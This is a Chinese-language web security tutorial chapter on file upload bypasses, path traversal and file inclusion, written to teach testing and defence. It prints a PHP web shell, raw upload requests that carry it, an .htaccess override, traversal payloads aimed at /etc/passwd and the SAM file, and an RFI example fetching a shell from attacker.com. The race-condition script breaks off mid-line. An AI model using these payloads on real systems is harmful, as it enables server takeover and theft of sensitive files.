文件处理是Web应用中的常见功能,包括文件上传、下载、包含等。但这些功能如果实现不当,可能导致严重的安全问题。攻击者可以上传恶意文件、下载敏感文件、执行任意代码等。

文件上传功能如果实现不当,攻击者可以上传Webshell控制服务器,上传恶意文件攻击其他用户,上传大文件导致DoS。
文件类型检查,检查文件扩展名、MIME类型。文件内容检查,检查文件头、文件内容。文件大小限制,限制上传文件的大小。文件名处理,重命名、随机化文件名。存储位置,限制文件存储位置,不能直接访问。
1. 扩展名绕过
如果只检查扩展名,可以尝试绕过:
|// 原始 shell.php // 绕过方法 shell.php.jpg // 双扩展名 shell.php%00.jpg // NULL字节截断 shell.php;.jpg // 分号 shell.php. // 点号 shell.pHp // 大小写 shell.php5 // PHP5 shell.phtml // PHTML shell.php%20 // 空格 shell.php%0a // 换行
案例解析:
假设一个系统只检查扩展名:
|$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if ($ext != 'jpg' && $ext != 'png') { die('Invalid file type'); }
绕过方法:
上述请求上传shell.php.jpg,系统检查.jpg通过,但服务器可能按.php执行(取决于配置)。
2. MIME类型绕过
如果只检查MIME类型,可以修改请求头:
|Content-Type: image/jpeg
但实际文件是PHP,执行命令:
|<?php system($_GET['cmd']); ?>
案例解析:
可以使用Burp Suite修改请求头,上传shell.php文件:
|POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--
3. 文件头绕过
如果系统检查文件头(Magic Number),可以添加文件头,绕过:
|GIF89a <?php system($_GET['cmd']); ?>
系统检查到GIF89a,认为是GIF文件,但实际是PHP。
常见文件头:JPEG是FF D8 FF,PNG是89 50 4E 47,GIF是47 49 46 38,ZIP是50 4B 03 04。
4. 二次渲染绕过
如果系统会重新渲染图片(如调整大小),可以上传一个正常的图片,在图片中嵌入PHP代码,系统重新渲染时,可能保留PHP代码。
5. .htaccess利用
如果可以上传.htaccess文件,可以配置服务器执行任意文件为PHP:
|<FilesMatch "\.jpg$"> SetHandler application/x-httpd-php </FilesMatch>
然后上传shell.jpg,会被当作PHP执行。
案例解析:
假设一个系统允许上传.htaccess文件,上传.htaccess,配置执行.jpg为PHP,上传shell.jpg(实际是PHP代码),上述请求访问shell.jpg,成功执行PHP代码。
6. 竞争条件
如果系统先保存文件,再检查,可能存在竞争条件:
上传恶意文件,文件保存到服务器,在系统删除前快速访问文件,执行恶意代码。
测试脚本:
|import requests import threading def upload_file(): url = "https://example.com/upload" files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')} response = requests.post(url, files=files) return response def access_file(): url = "https://example.com/uploads/shell.php?cmd=id" response =
如果文件下载功能没有验证文件路径,可能导致任意文件下载:
|$file = $_GET['file']; readfile($file);
攻击者可以:
|/download?file=../../etc/passwd /download?file=../../config.php
路径遍历(Path Traversal)是指通过../等字符,访问不应该访问的文件。常见的Payload包括:
|../../etc/passwd ..\..\..\windows\system32\config\sam ....//....//etc/passwd %2e%2e%2f%2e%2e%2fetc%2fpasswd
绕过方法:
编码绕过,可以用%2e%2e%2f表示../,%2e%2e%5c表示..\,..%2f表示../,%252e%252e%252f是双重编码。
Unicode绕过,可以用..%c0%af表示../,..%c1%9c表示..\。
截断绕过,可以用../../etc/passwd%00.jpg、../../etc/passwd.等。
案例解析:
假设一个文件下载功能没有验证文件路径:
|GET /download?file=user_upload.txt
后端代码:
|$file = $_GET['file']; $path = '/uploads/' . $file; readfile($path);
上述请求测试路径遍历:
|GET /download?file=../../etc/passwd
成功下载了/etc/passwd文件。

路径遍历(Directory Traversal)是指通过特殊字符(如../)访问文件系统中的其他目录。常见的Payload包括:
1. 基础绕过:
|../etc/passwd ..\..\windows\system32\config\sam
2. 编码绕过:
|%2e%2e%2fetc%2fpasswd %252e%252e%252fetc%252fpasswd ..%c0%afetc%c0%afpasswd
3. 双重编码:
|%252e%252e%252f
4. Unicode编码:
|..%c0%af ..%c1%9c
5. 截断:
|../../etc/passwd%00 ../../etc/passwd. ../../etc/passwd//
文件包含(File Inclusion)是指应用程序包含其他文件执行代码。如果包含的文件路径可控,可能导致代码执行。
本地文件包含(Local File Inclusion)是指包含本地文件系统中的文件。
攻击原理:
如果应用程序直接使用用户输入包含文件:
|include $_GET['page'] . '.php';
攻击者可以输入:
|../../etc/passwd
上述请求生成的代码:
|include '../../etc/passwd.php';
虽然可能报错,但我们还是可以通过其他方式利用
如果可以包含日志文件,可以在日志中注入PHP代码,然后包含日志文件执行代码。 如果Session文件路径已知,可以包含Session文件,在Session中注入PHP代码。 如果系统有文件上传功能,可以:上传PHP文件(虽然可能被删除),在删除前快速包含临时文件。
可以使用PHP封装协议读取文件:
|GET /page.php?page=php://filter/read=string.rot13/resource=../../etc/passwd GET /page.php?page=php://filter/convert.base64-encode/resource=../../config.php
远程文件包含(Remote File Inclusion)是指包含远程服务器上的文件。
攻击原理:
如果allow_url_include开启,可以包含远程文件:
|include $_GET['page'];
攻击者可以输入:
|http://attacker.com/shell.php
服务器会下载并执行远程文件。
案例解析:
假设一个系统存在RFI:
|GET /page.php?page=http://attacker.com/shell.txt
远程文件shell.txt内容:
|<?php system($_GET['cmd']); ?>
上述请求服务器下载并执行shell.txt文件,成功getshell。
realpath()获取真实路径,检查路径是否在允许的目录下,防止路径遍历。php.ini中设置allow_url_include = Off、allow_url_fopen = Off,防止远程文件包含。本节内容我们系统梳理了各种文件处理相关的漏洞,带大家深入了解了文件上传、下载、路径遍历和文件包含等常见场景中可能存在的风险。比如上传功能里,常见的绕过手法有扩展名绕过、MIME类型篡改、文件头伪造、二次渲染、.htaccess 利用以及上传与解析的竞争条件等;而在文件下载和路径遍历方面,攻击者则会利用任意文件下载、各种编码组合、“../”目录穿越等技巧来获得敏感信息。
简单来说,如果文件处理相关的功能缺乏严格校验,就可能为攻击者敞开大门,带来如远程代码执行、敏感信息泄露等严重后果。因此,开发时一定要重视路径和文件内容的校验与过滤,别想当然地信任任何传入参数。
预告一下,下一节我们将讨论“逻辑漏洞”这个更高阶、更隐蔽也是破坏性更大的问题。和之前讲的技术漏洞不同,逻辑漏洞需要你真正理解业务,是安全测试和防护层面必须掌握的重要能力!
实践建议: 测试文件上传功能的各种绕过方法,测试文件下载功能的路径遍历,理解文件包含的原理和利用方法,学习各种编码和绕过技巧,理解不同漏洞的组合利用。